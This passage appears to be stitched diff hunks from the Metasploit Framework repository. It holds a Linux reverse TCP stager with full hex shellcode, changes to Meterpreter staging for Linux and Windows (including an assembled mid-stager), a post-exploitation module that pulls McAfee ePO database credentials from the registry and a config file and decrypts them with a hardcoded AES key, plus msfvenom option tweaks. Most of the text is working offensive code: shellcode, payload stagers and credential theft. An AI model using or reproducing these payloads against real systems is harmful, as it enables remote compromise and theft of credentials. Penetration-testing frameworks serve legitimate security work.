'LPORT' => [ 0x19, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x97" +# xchg eax,edi
|
||||
"\x5b" +# pop ebx
|
||||
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\x50" +# push eax
|
||||
"\x51" +# push ecx
|
||||
"\x57" +# push edi
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x43" +# inc ebx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\xc1\xeb\x0c" +# shr ebx,0xc
|
||||
"\xc1\xe3\x0c" +# shl ebx,0xc
|
||||
"\xb0\x7d" +# mov al,0x7d
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x99" +# cdq
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
))
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => [ 'skape', 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 285
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::BindTcp
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttp'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 327
|
||||
CachedSize = 329
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_winhttps'
|
|||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 347
|
||||
CachedSize = 349
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/bind_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 479
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::BindTcp_x64
|
||||
|
|
|
@ -5,12 +5,14 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 578
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
||||
|
@ -91,6 +93,13 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 437
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows::ReverseTcp_x64
|
||||
|
|
|
@ -8,17 +8,14 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
|||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Meterpreter',
|
||||
'Description' => 'Staged meterpreter server',
|
||||
'Author' => ['PKS', 'egypt'],
|
||||
'Description' => 'Inject the meterpreter server payload (staged)',
|
||||
'Author' => ['PKS', 'egypt', 'OJ Reeves'],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -35,6 +32,7 @@ module Metasploit3
|
|||
return ep
|
||||
end
|
||||
|
||||
=begin
|
||||
def elf2bin(payload)
|
||||
# XXX, not working. Use .c version
|
||||
|
||||
|
@ -64,31 +62,76 @@ module Metasploit3
|
|||
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
|
||||
return mem[0, used]
|
||||
end
|
||||
=end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
entry_offset = elf_ep(payload)
|
||||
config_offset = payload.length - generate_meterpreter.length
|
||||
|
||||
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
|
||||
|
||||
midstager <<
|
||||
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
|
||||
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +
|
||||
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
|
||||
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
|
||||
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
|
||||
"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
|
||||
"\xd1\xff\xff\xff"
|
||||
|
||||
|
||||
# Patch in debug options
|
||||
midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
|
||||
|
||||
# Patch entry point
|
||||
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
|
||||
encoded_entry = "0x%.8x" % entry_offset
|
||||
encoded_offset = "0x%.8x" % config_offset
|
||||
encoded_debug_options = "0x%.2x" % datastore['DebugOptions'].to_i
|
||||
|
||||
# Maybe in the future patch in base.
|
||||
|
||||
# Does a mmap() / read() loop of a user specified length, then
|
||||
# jumps to the entry point (the \x5a's)
|
||||
midstager_asm = %Q^
|
||||
midstager:
|
||||
and esp, 0xFFFFF254
|
||||
push 0x4
|
||||
pop edx
|
||||
mov ecx, esp
|
||||
mov ebx, edi
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80
|
||||
push edi
|
||||
mov eax, 0xC0
|
||||
mov ebx, 0x20040000
|
||||
mov ecx, dword ptr [esp+0x4]
|
||||
push 0x7
|
||||
pop edx
|
||||
push 0x32
|
||||
pop esi
|
||||
xor edi, edi
|
||||
mov ebp, edi
|
||||
dec edi
|
||||
int 0x80
|
||||
cmp eax, 0xFFFFFF7F
|
||||
jb start_read
|
||||
terminate:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
int 0x80 ; sys_exit
|
||||
start_read:
|
||||
xchg ecx, edx
|
||||
xchg ecx, ebx
|
||||
pop ebx
|
||||
read_loop:
|
||||
push 0x3
|
||||
pop eax
|
||||
int 0x80 ; sys_read
|
||||
cmp eax, 0xFFFFFF7F
|
||||
ja terminate ; exit on error
|
||||
test eax, eax
|
||||
je terminate ; exit on error
|
||||
add ecx, eax
|
||||
sub edx, eax
|
||||
jne read_loop ; read more
|
||||
; edx should be at the end, but we need to adjust for the size of the config
|
||||
; block so we know where to write the socket to memory
|
||||
sub ecx, #{encoded_offset}
|
||||
mov [ecx], ebx ; write the socket to the config
|
||||
push #{encoded_debug_options}
|
||||
push ecx ; pass in the configuration pointer
|
||||
mov eax, #{encoded_entry} ; put the entry point in eax
|
||||
call eax
|
||||
jmp terminate
|
||||
^
|
||||
|
||||
midstager = Metasm::Shellcode.assemble(Metasm::X86.new, midstager_asm).encode_string
|
||||
|
||||
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
||||
conn.put(midstager)
|
||||
Rex::ThreadSafe.sleep(1.5)
|
||||
|
@ -100,14 +143,40 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_stage
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
meterpreter = generate_meterpreter
|
||||
config = generate_config
|
||||
meterpreter + config
|
||||
end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
||||
def generate_meterpreter
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'linux',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => nil,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => [],
|
||||
:ascii_str => true
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,19 +5,21 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -28,14 +30,35 @@ module Metasploit3
|
|||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X86
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,37 +5,60 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
###
|
||||
#
|
||||
# Injects the x64 meterpreter server DLL via the Reflective Dll Injection payload
|
||||
# along with transport related configuration.
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject_x64
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||
'Author' => [ 'sf' ],
|
||||
'Author' => ['skape','sf', 'OJ Reeves'],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new({
|
||||
:platform => 'windows',
|
||||
:arch => ARCH_X64
|
||||
})
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
:arch => opts[:uuid].arch,
|
||||
:exitfunk => datastore['EXITFUNC'],
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:uuid => opts[:uuid],
|
||||
:transports => [transport_config(opts)],
|
||||
:extensions => []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require "net/dns/resolver"
|
||||
require 'net/dns/resolver'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
@ -30,20 +30,20 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def run
|
||||
# Find out where things are installed
|
||||
print_status("Finding Tomcat install path...")
|
||||
subkeys = registry_enumkeys("HKLM\\Software\\Network Associates\\ePolicy Orchestrator")
|
||||
print_status('Finding Tomcat install path...')
|
||||
subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator',REGISTRY_VIEW_32_BIT)
|
||||
if subkeys.nil? or subkeys.empty?
|
||||
print_error ("ePO 4.6 Not Installed or No Permissions to RegKey")
|
||||
print_error ('ePO 4.6 Not Installed or No Permissions to RegKey')
|
||||
return
|
||||
end
|
||||
# Get the db.properties file location
|
||||
epol_reg_key = "HKLM\\Software\\Network Associates\\ePolicy Orchestrator"
|
||||
dbprops_file = registry_getvaldata(epol_reg_key, "TomcatFolder")
|
||||
if dbprops_file == nil or dbprops_file == ""
|
||||
print_error("Could not find db.properties file location")
|
||||
epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator'
|
||||
dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder',REGISTRY_VIEW_32_BIT)
|
||||
if dbprops_file == nil or dbprops_file == ''
|
||||
print_error('Could not find db.properties file location')
|
||||
else
|
||||
dbprops_file << "/conf/orion/db.properties";
|
||||
print_good("Found db.properties location");
|
||||
dbprops_file << '/conf/orion/db.properties';
|
||||
print_good('Found db.properties location');
|
||||
process_config(dbprops_file);
|
||||
end
|
||||
end
|
||||
|
@ -57,39 +57,39 @@ class Metasploit3 < Msf::Post
|
|||
line.chomp
|
||||
line_array = line.split('=')
|
||||
case line_array[0]
|
||||
when "db.database.name"
|
||||
database_name = ""
|
||||
when 'db.database.name'
|
||||
database_name = ''
|
||||
line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 }
|
||||
when "db.instance.name"
|
||||
database_instance = ""
|
||||
when 'db.instance.name'
|
||||
database_instance = ''
|
||||
line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 }
|
||||
when "db.user.domain"
|
||||
user_domain = ""
|
||||
when 'db.user.domain'
|
||||
user_domain = ''
|
||||
line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 }
|
||||
when "db.user.name"
|
||||
user_name = ""
|
||||
when 'db.user.name'
|
||||
user_name = ''
|
||||
line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 }
|
||||
when "db.port"
|
||||
port = ""
|
||||
when 'db.port'
|
||||
port = ''
|
||||
line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 }
|
||||
when "db.user.passwd.encrypted.ex"
|
||||
when 'db.user.passwd.encrypted.ex'
|
||||
# ePO 4.6 encrypted password
|
||||
passwd = ""
|
||||
passwd = ''
|
||||
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
|
||||
passwd.gsub("\\","")
|
||||
passwd.gsub('\\','')
|
||||
# Add any Base64 padding that may have been stripped out
|
||||
passwd << "=" until ( passwd.length % 4 == 0 )
|
||||
passwd << '=' until ( passwd.length % 4 == 0 )
|
||||
plaintext_passwd = decrypt46(passwd)
|
||||
when "db.user.passwd.encrypted"
|
||||
when 'db.user.passwd.encrypted'
|
||||
# ePO 4.5 encrypted password - not currently supported, see notes below
|
||||
passwd = ""
|
||||
passwd = ''
|
||||
line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 }
|
||||
passwd.gsub("\\","")
|
||||
passwd.gsub('\\','')
|
||||
# Add any Base64 padding that may have been stripped out
|
||||
passwd << "=" until ( passwd.length % 4 == 0 )
|
||||
plaintext_passwd = "PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP"
|
||||
when "db.server.name"
|
||||
database_server_name = ""
|
||||
passwd << '=' until ( passwd.length % 4 == 0 )
|
||||
plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP'
|
||||
when 'db.server.name'
|
||||
database_server_name = ''
|
||||
line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 }
|
||||
end
|
||||
end
|
||||
|
@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
result = client.net.resolve.resolve_host(database_server_name)
|
||||
if result[:ip].nil? or result[:ip].empty?
|
||||
print_error("Could not determine IP of DB - credentials not added to report database")
|
||||
print_error('Could not determine IP of DB - credentials not added to report database')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -111,11 +111,11 @@ class Metasploit3 < Msf::Post
|
|||
print_good("Database IP: #{db_ip}")
|
||||
end
|
||||
print_good("Port: #{port}")
|
||||
if user_domain == nil or user_domain == ""
|
||||
print_good("Authentication Type: SQL");
|
||||
if user_domain == nil or user_domain == ''
|
||||
print_good('Authentication Type: SQL');
|
||||
full_user = user_name
|
||||
else
|
||||
print_good("Authentication Type: Domain");
|
||||
print_good('Authentication Type: Domain');
|
||||
print_good("Domain: #{user_domain}");
|
||||
full_user = "#{user_domain}\\#{user_name}"
|
||||
end
|
||||
|
@ -127,8 +127,8 @@ class Metasploit3 < Msf::Post
|
|||
service_data = {
|
||||
address: Rex::Socket.getaddress(db_ip),
|
||||
port: port,
|
||||
protocol: "tcp",
|
||||
service_name: "mssql",
|
||||
protocol: 'tcp',
|
||||
service_name: 'mssql',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
|
@ -145,21 +145,21 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
access_level: "User",
|
||||
access_level: 'User',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
create_credential_login(login_data.merge(service_data))
|
||||
print_good("Added credentials to report database")
|
||||
print_good('Added credentials to report database')
|
||||
else
|
||||
print_error("Could not determine IP of DB - credentials not added to report database")
|
||||
print_error('Could not determine IP of DB - credentials not added to report database')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def decrypt46(encoded)
|
||||
encrypted_data = Rex::Text.decode_base64(encoded)
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-128-ECB")
|
||||
aes = OpenSSL::Cipher::Cipher.new('AES-128-ECB')
|
||||
aes.padding = 0
|
||||
aes.decrypt
|
||||
# Private key extracted from ePO 4.6.0 Build 1029
|
||||
|
@ -172,6 +172,5 @@ class Metasploit3 < Msf::Post
|
|||
password.gsub!(/[^[:print:]]/,'')
|
||||
return password
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
59
msfvenom
59
msfvenom
|
@ -58,7 +58,8 @@ require 'msf/core/payload_generator'
|
|||
opt.separator('')
|
||||
opt.separator('Options:')
|
||||
|
||||
opt.on('-p', '--payload <payload>', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
|
||||
opt.on('-p', '--payload <payload>', String,
|
||||
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
|
||||
if p == '-'
|
||||
opts[:payload] = 'stdin'
|
||||
else
|
||||
|
@ -66,50 +67,67 @@ require 'msf/core/payload_generator'
|
|||
end
|
||||
end
|
||||
|
||||
opt.on('-l', '--list [module_type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
||||
opt.on('--payload-options', "List the payload's standard options") do
|
||||
opts[:list_options] = true
|
||||
end
|
||||
|
||||
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
||||
if l.nil? or l.empty?
|
||||
l = ["all"]
|
||||
end
|
||||
opts[:list] = l
|
||||
end
|
||||
|
||||
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
||||
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
||||
opts[:nops] = n.to_i
|
||||
end
|
||||
|
||||
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
||||
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
||||
opts[:format] = f
|
||||
end
|
||||
|
||||
opt.on('-e', '--encoder [encoder]', String, 'The encoder to use') do |e|
|
||||
opt.on('--help-formats', String, "List available formats") do
|
||||
init_framework(:module_types => [])
|
||||
msg = "Executable formats\n" +
|
||||
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
|
||||
"Transform formats\n" +
|
||||
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
|
||||
raise UsageError, msg
|
||||
end
|
||||
|
||||
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
|
||||
opts[:encoder] = e
|
||||
end
|
||||
|
||||
opt.on('-a', '--arch <architecture>', String, 'The architecture to use') do |a|
|
||||
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
|
||||
opts[:arch] = a
|
||||
end
|
||||
|
||||
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
||||
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
||||
opts[:platform] = l
|
||||
end
|
||||
|
||||
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
||||
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
||||
opts[:space] = s
|
||||
end
|
||||
|
||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
|
||||
opts[:encoder_space] = s
|
||||
end
|
||||
|
||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
||||
end
|
||||
|
||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||
opts[:iterations] = i
|
||||
end
|
||||
|
||||
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
||||
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
||||
opts[:add_code] = x
|
||||
end
|
||||
|
||||
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
||||
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
||||
opts[:template] = x
|
||||
end
|
||||
|
||||
|
@ -117,15 +135,11 @@ require 'msf/core/payload_generator'
|
|||
opts[:keep] = true
|
||||
end
|
||||
|
||||
opt.on('--payload-options', "List the payload's standard options") do
|
||||
opts[:list_options] = true
|
||||
end
|
||||
|
||||
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
||||
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
||||
opts[:out] = x
|
||||
end
|
||||
|
||||
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
||||
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
||||
opts[:var_name] = x
|
||||
end
|
||||
|
||||
|
@ -133,15 +147,6 @@ require 'msf/core/payload_generator'
|
|||
raise UsageError, "#{opt}"
|
||||
end
|
||||
|
||||
opt.on_tail('--help-formats', String, "List available formats") do
|
||||
init_framework(:module_types => [])
|
||||
msg = "Executable formats\n" +
|
||||
"\t" + ::Msf::Util::EXE.to_executable_fmt_formats.join(", ") + "\n" +
|
||||
"Transform formats\n" +
|
||||
"\t" + ::Msf::Simple::Buffer.transform_formats.join(", ")
|
||||
raise UsageError, msg
|
||||
end
|
||||
|
||||
begin
|
||||
opt.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
|
|
|
@ -19,7 +19,7 @@ module Msf
|
|||
|
||||
class ConsoleCommandDispatcher
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
|
||||
def name
|
||||
PLUGIN_NAME
|
||||
end
|
||||
|
@ -35,11 +35,11 @@ module Msf
|
|||
def msf_local
|
||||
"#{Msf::Config.local_directory}"
|
||||
end
|
||||
|
||||
|
||||
def cmd_nessus_index
|
||||
nessus_index
|
||||
end
|
||||
|
||||
|
||||
def commands
|
||||
{
|
||||
"nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <verify_ssl>",
|
||||
|
@ -81,7 +81,7 @@ module Msf
|
|||
"nessus_folder_list" => "List folders configured on the Nessus server",
|
||||
"nessus_scanner_list" => "List the configured scanners on the Nessus server",
|
||||
"nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count"
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
def cmd_nessus_help(*args)
|
||||
|
@ -111,7 +111,7 @@ module Msf
|
|||
tbl << [ "nessus_db_import", "Import Nessus scan to the Metasploit connected database" ]
|
||||
tbl << [ "", ""]
|
||||
tbl << [ "Reports Commands", "" ]
|
||||
tbl << [ "-----------------", "-----------------"]
|
||||
tbl << [ "-----------------", "-----------------"]
|
||||
tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ]
|
||||
tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ]
|
||||
tbl << [ "nessus_report_host_details", "Get detailed information from a report item on a host" ]
|
||||
|
@ -205,7 +205,7 @@ module Msf
|
|||
total = Time.now - start
|
||||
print_status("It has taken : #{total} seconds to build the exploits search index")
|
||||
end
|
||||
|
||||
|
||||
def nessus_index
|
||||
if File.exist?("#{xindex}")
|
||||
#check if it's version line matches current version.
|
||||
|
@ -247,7 +247,7 @@ module Msf
|
|||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if args[0] == "-h"
|
||||
print_status("%redYou must do this before any other commands.%clr")
|
||||
print_status("Usage: ")
|
||||
|
@ -259,7 +259,7 @@ module Msf
|
|||
print_status("use a self signed certificate, therefore, users should use ssl_ignore.")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
if !@token == ''
|
||||
print_error("You are already authenticated. Call nessus_logout before authenticating again")
|
||||
return
|
||||
|
@ -268,7 +268,7 @@ module Msf
|
|||
ncusage
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
